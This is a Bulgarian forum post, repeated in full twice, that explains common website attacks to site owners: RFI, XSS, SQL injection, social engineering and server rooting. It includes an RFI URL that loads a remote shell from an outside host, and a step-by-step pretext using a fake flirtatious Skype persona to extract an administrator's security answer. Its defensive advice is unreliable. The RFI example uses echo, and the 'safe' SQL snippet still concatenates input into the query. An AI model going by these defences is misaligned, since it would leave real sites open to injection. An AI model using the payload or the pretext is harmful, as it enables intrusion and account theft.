Valentinn
Active Member
Може би 99% от потребителите във форума се занимават с онлайн бизнес и следователно имат уеб страници.Голям проблем обаче е, ако не знам как да я защитим. Точно това ще се опитам да ви обясня в тази статия. Ще напиша всичко което знам за защитата, и дори 1 нещо написаното от мен да сте научили няма да ви е в излишак.
Първо искам да кажа начините които знам за атака на 1 сайт: RFI,XSS,SQL INJECTION,social engineering и др.Така сега да ви обясня за всяка една от тях:
1.RFI: този метод позволява да се кача файл на вашия сайт. За да ви го обясня по-добре ще ви дам пример:
Имате урл index.php?user=admin
И вие не валидирате самия $_GET параметър,а го извиквате направо:
<?php
echo $_GET['user'];
?>
Хакера просто премахва потребителя admin, и дава път към неговия файл, така автоматично се зарежда той.Пример:
index.php?user=http://opty.hit.bg/shell.txt? - този линк е към шел(това е php файл, които когато се качи на сървър ти дава достъп до файловете в него) на 1 "хакер". Така по принцип този метод използва фунцията на apache да отаря съдържанието на външни линкове.Във всички хостинг комании(читави) това е изключено,в новите версии на хамп също, така че е почти невъзможно да ви хакнат по този метод, просто ви го пиша за информация
2.XSS: това е моетод които позволява да се изпълни javascript в сайта. Примерно в урл-то: след като го прати на някои потребител които се е логнал, тои ми взима coocki-то, и така се логва от негово име. Повече за тази уязвимост вижте тук: http://gatakka.eu/?p=540
3.SQL Injection: метод при които се изпълнява SQL заявка без ваше поволение. Как да се предпазим:
3.1.Валидирате $_GET параметъра(ако има такъв). Пример с ид:
url: http://site.com/index.php?id=10
Проверяваме дали id е изпратено и дали самото ид е валидно.
$rs = mysql_query('SELECT * FROM table WHERE id="'.$id.'"');
if(mysql_num_rows($rs)==0 AND !isset($_GET['id'])){
//тук може да го запишете в лог файл ако желаете
}
3.2.Когато от форма записвате в базаданни, и след това я изкарвате някъде я валидирайте с addslashes(); , trim(); и т.н.
4.Social Engineering: този метод е използван от много известни навремето хакери като Кевин Митник.Той не е от типа "насилствено хакване", той е по-скоро психологически. Ще ви дам пример да ме разберете по-добре:
Искате да вземете паролата на администратора в някои форум, давате на забравена парола и виждате, че ви пита примерно "Какъв домашен любимец имам?".
4.1. Намирате скайпа или накъква връзка с администратора.
4.2. Правиш си скайп sexy_girl_92
4.3. Започваш да си пишеш с него, и случайно го питаш какъв домашен любимец има той, пробваш го, и хоп влизаш в акаунта му.
Това е пример, вече малко хора дават истинските си данни, но навремето е бил много успешен метод.
Има и още хитри начини за хакване които трябва да се пазим, като например:
Роотване на целия сървър на сайта ви: това също е чест метод. Пирмерно си избирам да хакна сайта vbox7.com , но тей като системата му е желязна за мен виждам кои друг сайт се хоства на него сървър. Хаквам него ако мога, след това качвам шел, и от там вече има различни начини за предобиване на достъп до останалите, няма да се впускам в подробности. За това също е важно да изберете сигурен хостинг.
Последно да ви кажа за готовите системи: Ако ползвате готови системи разбира се нивото на сигурност е много по-голямо(говорим за по-известните, а не някоя на сулио и пулио), но все пак да не забравим, че системата е разглеждана от много хора които разбират, и така е много по-трудно да се защити.Повечето хора, които дремят по часове пред някоя по-известна система търсейки дупка, след като намерят или се хвалят нейде или пък си има цели сайтове за exploit-и.Просто напишете в гугъл името на системата + exploit (пример: е107 exploit) и потърсете дали за вашата няма, а ако има потърсете съответното закърпване.
Има още куп хитрости, които хората са измислели, но това са главните за който се сещам. Дано съм ви бил от полза, и ако имате нещо да допълните или да ме поправите ще съм ви благодарен.
Първо искам да кажа начините които знам за атака на 1 сайт: RFI,XSS,SQL INJECTION,social engineering и др.Така сега да ви обясня за всяка една от тях:
1.RFI: този метод позволява да се кача файл на вашия сайт. За да ви го обясня по-добре ще ви дам пример:
Имате урл index.php?user=admin
И вие не валидирате самия $_GET параметър,а го извиквате направо:
<?php
echo $_GET['user'];
?>
Хакера просто премахва потребителя admin, и дава път към неговия файл, така автоматично се зарежда той.Пример:
index.php?user=http://opty.hit.bg/shell.txt? - този линк е към шел(това е php файл, които когато се качи на сървър ти дава достъп до файловете в него) на 1 "хакер". Така по принцип този метод използва фунцията на apache да отаря съдържанието на външни линкове.Във всички хостинг комании(читави) това е изключено,в новите версии на хамп също, така че е почти невъзможно да ви хакнат по този метод, просто ви го пиша за информация
2.XSS: това е моетод които позволява да се изпълни javascript в сайта. Примерно в урл-то: след като го прати на някои потребител които се е логнал, тои ми взима coocki-то, и така се логва от негово име. Повече за тази уязвимост вижте тук: http://gatakka.eu/?p=540
3.SQL Injection: метод при които се изпълнява SQL заявка без ваше поволение. Как да се предпазим:
3.1.Валидирате $_GET параметъра(ако има такъв). Пример с ид:
url: http://site.com/index.php?id=10
Проверяваме дали id е изпратено и дали самото ид е валидно.
$rs = mysql_query('SELECT * FROM table WHERE id="'.$id.'"');
if(mysql_num_rows($rs)==0 AND !isset($_GET['id'])){
//тук може да го запишете в лог файл ако желаете
}
3.2.Когато от форма записвате в базаданни, и след това я изкарвате някъде я валидирайте с addslashes(); , trim(); и т.н.
4.Social Engineering: този метод е използван от много известни навремето хакери като Кевин Митник.Той не е от типа "насилствено хакване", той е по-скоро психологически. Ще ви дам пример да ме разберете по-добре:
Искате да вземете паролата на администратора в някои форум, давате на забравена парола и виждате, че ви пита примерно "Какъв домашен любимец имам?".
4.1. Намирате скайпа или накъква връзка с администратора.
4.2. Правиш си скайп sexy_girl_92
4.3. Започваш да си пишеш с него, и случайно го питаш какъв домашен любимец има той, пробваш го, и хоп влизаш в акаунта му.
Това е пример, вече малко хора дават истинските си данни, но навремето е бил много успешен метод.
Има и още хитри начини за хакване които трябва да се пазим, като например:
Роотване на целия сървър на сайта ви: това също е чест метод. Пирмерно си избирам да хакна сайта vbox7.com , но тей като системата му е желязна за мен виждам кои друг сайт се хоства на него сървър. Хаквам него ако мога, след това качвам шел, и от там вече има различни начини за предобиване на достъп до останалите, няма да се впускам в подробности. За това също е важно да изберете сигурен хостинг.
Последно да ви кажа за готовите системи: Ако ползвате готови системи разбира се нивото на сигурност е много по-голямо(говорим за по-известните, а не някоя на сулио и пулио), но все пак да не забравим, че системата е разглеждана от много хора които разбират, и така е много по-трудно да се защити.Повечето хора, които дремят по часове пред някоя по-известна система търсейки дупка, след като намерят или се хвалят нейде или пък си има цели сайтове за exploit-и.Просто напишете в гугъл името на системата + exploit (пример: е107 exploit) и потърсете дали за вашата няма, а ако има потърсете съответното закърпване.
Има още куп хитрости, които хората са измислели, но това са главните за който се сещам. Дано съм ви бил от полза, и ако имате нещо да допълните или да ме поправите ще съм ви благодарен.